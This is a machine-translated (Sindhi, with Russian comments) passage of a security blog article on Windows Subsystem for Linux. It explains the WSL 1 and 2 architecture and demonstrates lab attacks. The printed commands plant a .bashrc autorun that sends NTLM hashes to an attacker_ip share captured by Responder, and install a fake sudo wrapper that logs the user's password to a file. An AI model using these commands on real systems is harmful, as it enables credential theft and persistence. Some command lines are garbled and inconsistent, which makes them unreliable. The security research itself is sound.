WSL تجربا. حصو 1

هيلو، هبر! OTUS آڪٽوبر ۾ هڪ نئون ڪورس وهڪرو شروع ڪري ٿو "لينڪس سيڪيورٽي". ڪورس جي شروعات جي اميد ۾، اسان توهان سان هڪ مضمون شيئر ڪري رهيا آهيون جيڪو اسان جي هڪ استاد، اليگزينڊر ڪولسنيڪوف جو لکيل آهي.

WSL تجربا. حصو 1

2016 ۾، Microsoft نئين WSL ٽيڪنالاجي کي آئي ٽي ڪميونٽي ۾ متعارف ڪرايو (Wگهري ٿو Sلاء ubsystem Linux)، جنهن مستقبل ۾ اهو ممڪن ڪيو ته اڳ ۾ ناقابل قبول مقابلن کي متحد ڪيو وڃي جيڪي عام ۽ ترقي يافته او ايس استعمال ڪندڙن جي وچ ۾ مقبوليت لاء وڙهندا هئا: ونڊوز ۽ لينڪس. هن ٽيڪنالاجي کي ونڊوز ماحول ۾ لينڪس او ايس اوزار استعمال ڪرڻ ممڪن بڻائي ٿو بغير لينڪس هلائڻ جي ضرورت، مثال طور، ملٽي بوٽ استعمال ڪندي. هبر تي توهان وڏي تعداد ۾ آرٽيڪل ڳولي سگهو ٿا جيڪي بيان ڪري رهيا آهن WSL استعمال ڪرڻ جا فائدا. بهرحال، بدقسمتي سان، هن آرٽيڪل جي تخليق جي وقت، هن وسيلن تي آپريٽنگ سسٽم جي اهڙي symbiosis جي سيڪيورٽي تي ڪو مطالعو نه مليو. هن پوسٽ کي درست ڪرڻ جي ڪوشش ڪئي ويندي. مضمون WSL 1 ۽ 2 آرڪيٽيڪچر جي خاصيتن بابت ڳالهائيندو ۽ انهن ٽيڪنالاجي استعمال ڪندي سسٽم تي حملن جي ڪيترن ئي مثالن جو جائزو وٺندو. مضمون 2 حصن ۾ ورهايل آهي. پهريون لينڪس ۽ ونڊوز مان مکيه نظرياتي حملي جا طريقا مهيا ڪندو. ٻئي مضمون ۾ ٽيسٽ ماحول قائم ڪرڻ ۽ حملن کي ٻيهر پيدا ڪرڻ شامل هوندو.

WSL 1: تعميراتي خاصيتون

WSL سيڪيورٽي مسئلن ۾ سڀ کان وڌيڪ صحيح ڊيوٽي لاء، اهو ضروري آهي ته بنيادي nuances جو تعين ڪرڻ ضروري آهي سب سسٽم جي عمل سان لاڳاپيل. WSL پاران حل ڪيل مکيه صارف جي ڪمن مان هڪ آهي لينڪس ٽرمينل ذريعي ڪم ڪرڻ جي صلاحيت ونڊوز او ايس تي هلندڙ ميزبان تي. انهي سان گڏ، پيش ڪيل مطابقت ايتري قدر هئي ته لينڪس عملدار (ELFs) سڌو ونڊوز سسٽم تي هلائي سگھجن ٿيون. انهن مقصدن کي حاصل ڪرڻ لاءِ، ونڊوز 10 ۾ هڪ خاص سبسسٽم ٺاهيو ويو جيڪو توهان کي اجازت ڏئي ٿو لينڪس ايپليڪيشنن کي هلائڻ لاءِ مخصوص سسٽم ڪالن جو هڪ سيٽ استعمال ڪندي- اهڙيءَ طرح ونڊوز تي لينڪس سيسڪلز جي هڪ سيٽ کي ميپ ڪرڻ جي ڪوشش ڪئي وئي. اهو جسماني طور تي لاڳو ڪيو ويو نئين ڊرائيورز ۽ نئين پروسيس فارميٽ کي شامل ڪندي. بصري طور تي فن تعمير هن طرح نظر آيو:

WSL تجربا. حصو 1

حقيقت ۾، لينڪس آپريٽنگ سسٽم سان رابطي کي ڪيترن ئي ڪنيل ماڊلز ۽ هڪ خاص قسم جي پروسيس ذريعي منظم ڪيو ويو - pico. مٿي ڏنل ڊراگرام مان، توهان ڏسي سگهو ٿا ته لينڪس تي هلندڙ عمل ميزبان تي مثالي هجڻ گهرجي ۽ ساڳيو وسيلن کي باقاعده ونڊوز ايپليڪيشنن وانگر استعمال ڪرڻ گهرجي. پر اهو ڪيئن حاصل ڪجي؟ منصوبي ۾ ڊربجج ونڊوز لاءِ پروسيس تصورات ٺاهيا ويا جيڪي آپريٽنگ سسٽم جا سڀ ضروري حصا مهيا ڪن (ان جي ورزن تي منحصر ڪري) ٻئي OS جي ايپليڪيشن کي هلائڻ لاءِ.

نوٽ ڪريو ته تجويز ڪيل تجزيي کي ممڪن بڻايو ويو ته آپريٽنگ سسٽم تي ڌيان نه ڏيڻ (خاص طور تي، ونڊوز)، جنهن ۾ ڪنهن ٻئي OS جي عمل جي شروعات ٿيڻ جي اميد آهي، ۽ هڪ عام طريقي جي تجويز ڏني.

اهڙيء طرح، پيڪو پروسيس اندر ڪا به ايپليڪيشن ونڊوز ڪنييل جي حوالي سان بغير هلائي سگهي ٿي:

  1. سسٽم ڪالن جي مطابقت ۽ ترجمي جا مسئلا خاص فراهم ڪندڙن طرفان حل ڪيا وڃن.
  2. رسائي ڪنٽرول سيڪيورٽي مانيٽر ذريعي ڪيو وڃي. مانيٽر ڪرنل ۾ واقع آهي ۽ تنهن ڪري ونڊوز کي نئين ڊرائيور جي صورت ۾ اپ گريڊ جي ضرورت آهي جيڪا اهڙي عمل لاءِ مهيا ڪندڙ طور ڪم ڪري سگهي ٿي. پروٽوٽائپ پيڪو پروسيس کي ترتيب سان پيش ڪيو ويو آهي هيٺ ڏنل:

WSL تجربا. حصو 1

جيئن ته لينڪس فائل سسٽم ڪيس-حساس فائل ۽ ڊاريڪٽري جا نالا استعمال ڪري ٿو، 2 قسم جا فائل سسٽم ونڊوز ۾ شامل ڪيا ويا WSL - VolFS ۽ DriveFS سان ڪم ڪرڻ لاء. VolFS لينڪس فائل سسٽم جو هڪ عمل آهي، DriveFS هڪ فائيل سسٽم آهي جيڪو ونڊوز ضابطن جي مطابق ڪم ڪري ٿو، پر ڪيس جي حساسيت کي چونڊڻ جي صلاحيت آهي.

WSL 2

WSL 1 ۾ ڪيتريون ئي حدون هيون جيڪي ان کي استعمال ڪرڻ جي اجازت نه ڏينديون هيون ته ڪمن جي وڌ ۾ وڌ رينج کي حل ڪرڻ لاءِ: مثال طور، ان ۾ 32-bit Linux ايپليڪيشن هلائڻ جي صلاحيت نه هئي، ۽ ڊوائيس ڊرائيور استعمال ڪرڻ ناممڪن هو. تنهن ڪري، 2020 ۾، WSL 2 جاري ڪيو ويو، جنهن کي سب سسٽم جي تعمير ڪرڻ جو طريقو تبديل ڪيو ويو. WSL 2 هڪ بهتر ڪيل ورچوئل مشين آهي جيڪا WSL 1 جي وسيلن جي استعمال جي خاصيتن سان ملي ٿي. ھاڻي، ونڊوز او ايس استعمال ڪندڙ جي حل ڪيل مسئلن تي منحصر آھي، توھان منتخب ڪري سگھوٿا لينڪس سبسسٽم جو گھربل ورجن. ممڪن نقصانن کي گھٽائڻ لاءِ، WSL 2 کي ونڊوز 10 ۾ Hyper-V جي بنياد تي لاڳو ڪيو ويو. ھن فارم ۾، ونڊوز کي اڪيلائي ۾ لينڪس آپريٽنگ سسٽم ڪرنل کي هلائڻ جي صلاحيت آھي. اهو ياد رکڻ جي قابل آهي ته WSL جو نسخو 1 هڪ بيٽا خصوصيت جي طور تي متعارف ڪرايو ويو هو جيڪو هن علائقي ۾ ونڊوز جي ترقي جي هدايت کي ڏيکاري ٿو، تنهنڪري هائپر-V ڏانهن منتقلي ناگزير هئي. آخري فن تعمير هن طرح ڏسڻ ۾ اچي ٿو:

WSL تجربا. حصو 1

هن ورزن ۾، ونڊوز ۽ لينڪس ڪنلز جا پنهنجا وسيلا آهن ۽ چونڪ صرف فائل سسٽم ۾ موجود آهي، پر هي چونڪ مڪمل نه آهي. فائل سسٽم جي وچ ۾ رابطي کي ڪلائنٽ-سرور ريپر ذريعي ڪيو ويندو آهي جيڪو 9P پروٽوڪول استعمال ڪندي ڪم ڪري ٿو.

اڄ Microsoft WSL 1 ۽ WSL 2 جي وچ ۾ مٽائڻ جي صلاحيت ڏئي ٿو. ٻئي نسخا استعمال لاءِ موجود آهن.

WSL سيڪيورٽي

هن وقت، اهڙا ڪيترائي ڪم آهن جيڪي بيان ڪن ٿا ڪجھ طريقا استعمال ڪرڻ جا جائز OS اوزار استعمال ڪرڻ لاءِ سب سسٽم جي وچ ۾ رابطي تي حملو ڪرڻ لاءِ. اسان لکڻ جي وقت حملن جي مطابقت کي جانچڻ لاءِ انهن جا اسڪرپٽ استعمال ڪنداسين. حملن ۽ منظرنامي جي عام فهرست:

1. فائل سسٽم تي عمل درآمد: رسائي جا حق، حصيداري ڊائريڪٽرن جي دستيابي / ڊيٽا مٽائڻ واري ميڪانيزم.

ريسرچ کان پهچ جي ضابطن جي ڀڃڪڙي کي طئي ڪرڻ لاء منعقد ڪئي وئي لينڪس FS->Windows FS، Windows FS->Linux FS. تحقيق ظاهر ڪيو آهي ته هڪ ڏنل فائل کي حدف ٿيل OS اندر تبديل ڪرڻ جي صلاحيت. ڪوششون پڻ ڪيون ويون متبادل، نقل ٺاهي ۽ فائل سسٽم جو حصو ختم ڪرڻ.

منظر:

  • A. ونڊوز آپريٽنگ سسٽم مان حملو - لينڪس OS جي /etc ڊاريڪٽري مان فائلن جي تبديلي.
  • B. لينڪس آپريٽنگ سسٽم کان حملو - ڊائريڪٽرن ۾ فائلن جي تبديلي: C:Windows, C:Program Files, C:Users<User>

2. نيٽ ورڪ اسٽيڪ جو نفاذ.

تحقيق ونڊوز تي لينڪس آپريٽنگ سسٽم مان حملن جا مثال استعمال ڪندي ڪئي وئي. نيٽ ورڪ اسٽيڪ جون خاصيتون استعمال ڪيون ويون، يعني، مختلف وسيلن تي تصديق واري ميڪانيزم.

منظر:

  • ونڊوز سسٽم تي قبضو ڪيل پورٽ تائين رسائي کي کولڻ
  • مناسب حقن کان سواء بندرگاهه کولڻ
  • ونڊوز آپريٽنگ سسٽم تي ايلف فائل استعمال ڪندي ريورس شيل کي هلائڻ.

3. WSL سب سسٽم استعمال ڪندي بدسلوڪي سافٽ ويئر پروسيس جي لانچ کي لڪايو.

تحقيق هڪ سادي حقيقت تي مبني هئي - سيڪيورٽي سبسسٽم ڪنهن ٻئي ڪنيل ۾ واقعن کي روڪي نٿو سگهي جيڪو WSL 1 جي صورت ۾ آپريٽنگ سسٽم مان هڪ جائز فراهم ڪندڙ کي استعمال ڪندي ڪم ڪري ٿو. WSL 2 جي صورت ۾، واقعن کي ڏسڻ جو ڪو طريقو ناهي. ٿلهي وزن واري ورچوئل مشين اندر هڪ الڳ ڪنيل ۾.

منظر:

1) سسٽم تائين ريموٽ رسائي لاءِ ايپليڪيشن لانچ ڪريو ۽ لاگ ٿيل واقعن کي ڏسو.

WSL 1 تجربا: هيش مداخلت (ونڊوز)

آخرڪار اسان کي عملي حصو ملي ويو. پهرين، توهان کي ٽيسٽ ماحول قائم ڪرڻ جي ضرورت آهي. سڀئي تجربا هڪ بينچ تي ڪيا ويندا Windows 10 2004 انسٽال ٿيل. Ubuntu 18.04 تصوير کي WSL لاءِ آپريٽنگ سسٽم جي تصوير طور چونڊيو ويو. تصوير بي ترتيب تي چونڊيو ويو، ۽ ٻيو ڪو به ساڳيو ڪم ڪندو. اسٽينڊ قائم ڪرڻ لاءِ حڪم:

توهان کي پهريان شروع ڪرڻ گهرجي powershell.exe منتظم جي طور تي.

WSL 1 لاءِ توهان کي حڪم هلائڻ جي ضرورت آهي:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • اسٽينڊ کي ريبوٽ ڪرڻ کان پوءِ، توهان سڏ ڪري سگهو ٿا bash حڪم. جيڪڏهن هر شي صحيح طريقي سان ڪم ڪيو، توهان کي ونڊوز ڪنسول ۾ هن سان ملندڙ آئوٽ ڏسندا:

    WSL تجربا. حصو 1

    اسان ڪالي لينڪس ڊسٽريبيوشن کي حملي آور جي مشين طور استعمال ڪنداسين؛ سڀ مشينون ساڳيون مقامي نيٽ ورڪ تي هونديون.

    اچو ته فرض ڪريون ته اسان وٽ ونڊوز مشين تي WSL تائين غير امتيازي رسائي آهي. اچو ته لينڪس کان ڪمانڊ ڪال ڪري لينڪس آپريٽنگ سسٽم تي حملو ڪرڻ جي ڪوشش ڪريون. حملي کي لاڳو ڪرڻ لاء، اسان هڪ سادي آٽو رن ٽيڪنڪ استعمال ڪنداسين - اسان لينڪس ماحول ۾ عملدرآمد لاء اسان جي اسڪرپٽ شامل ڪنداسين. هن کي ڪرڻ لاء توهان کي فائل کي تبديل ڪرڻ جي ضرورت آهي .bashrc.

    WSL سان مشين تي اسين عمل ڪريون ٿا:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    ڪالي لينڪس مشين تي اسين هلون ٿا:

    1. Responder -I eth0 -rdvw

    ونڊوز مشين تي، اچو ته لانچ ڪريون bash.

    اسان ڪالي لينڪس مشين تي نتيجن جو انتظار ڪري رهيا آهيون:

    WSL تجربا. حصو 1

    ان ڪري، اسان حاصل ڪيو ونڊوز يوزر هيشز WSL سب سسٽم ذريعي لينڪس سسٽم تي ڪمانڊ تي عمل ڪندي.

    WSL 1 تجربا: صارف پاسورڊ حاصل ڪرڻ (لينڪس او ايس)

    اچو ته هڪ ٻيو تجربو ڪريون. ھن چڪاس دوران اسين فائل ۾ شامل ڪنداسين .bashrc لينڪس آپريٽنگ سسٽم صارف پاسورڊ حاصل ڪرڻ لاء ڪيترائي حڪم.

    اچو ته شروع ڪريون bash ۽ داخل ڪريو حڪم:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    حملي کي ڪاميابيءَ سان مڪمل ڪرڻ لاءِ، صارف سام کي لينڪس ٽرمينل ۾ سودو سڏڻ جي ضرورت آهي. ان کان پوء، لينڪس او ايس يوزر پاسورڊ فائل ۾ هوندو pass.txt:

    WSL تجربا. حصو 1

    حملن تي عملدرآمد صرف نظرياتي ڄاڻ لاء ڏنو ويو.

    آرٽيڪل جو ايندڙ حصو 9P پروٽوڪول جي عمل کي بيان ڪندو، هن پروٽوڪول لاءِ اسڪينر ٺاهڻ تي غور ڪندو، ۽ ان کي استعمال ڪندي حملو پڻ ڪندو.

    استعمال ٿيل ادب جي فهرست

    WSL تجربا. حصو 1

    وڌيڪ پڙهو

    جو ذريعو: www.habr.com

    تبصرو شامل ڪريو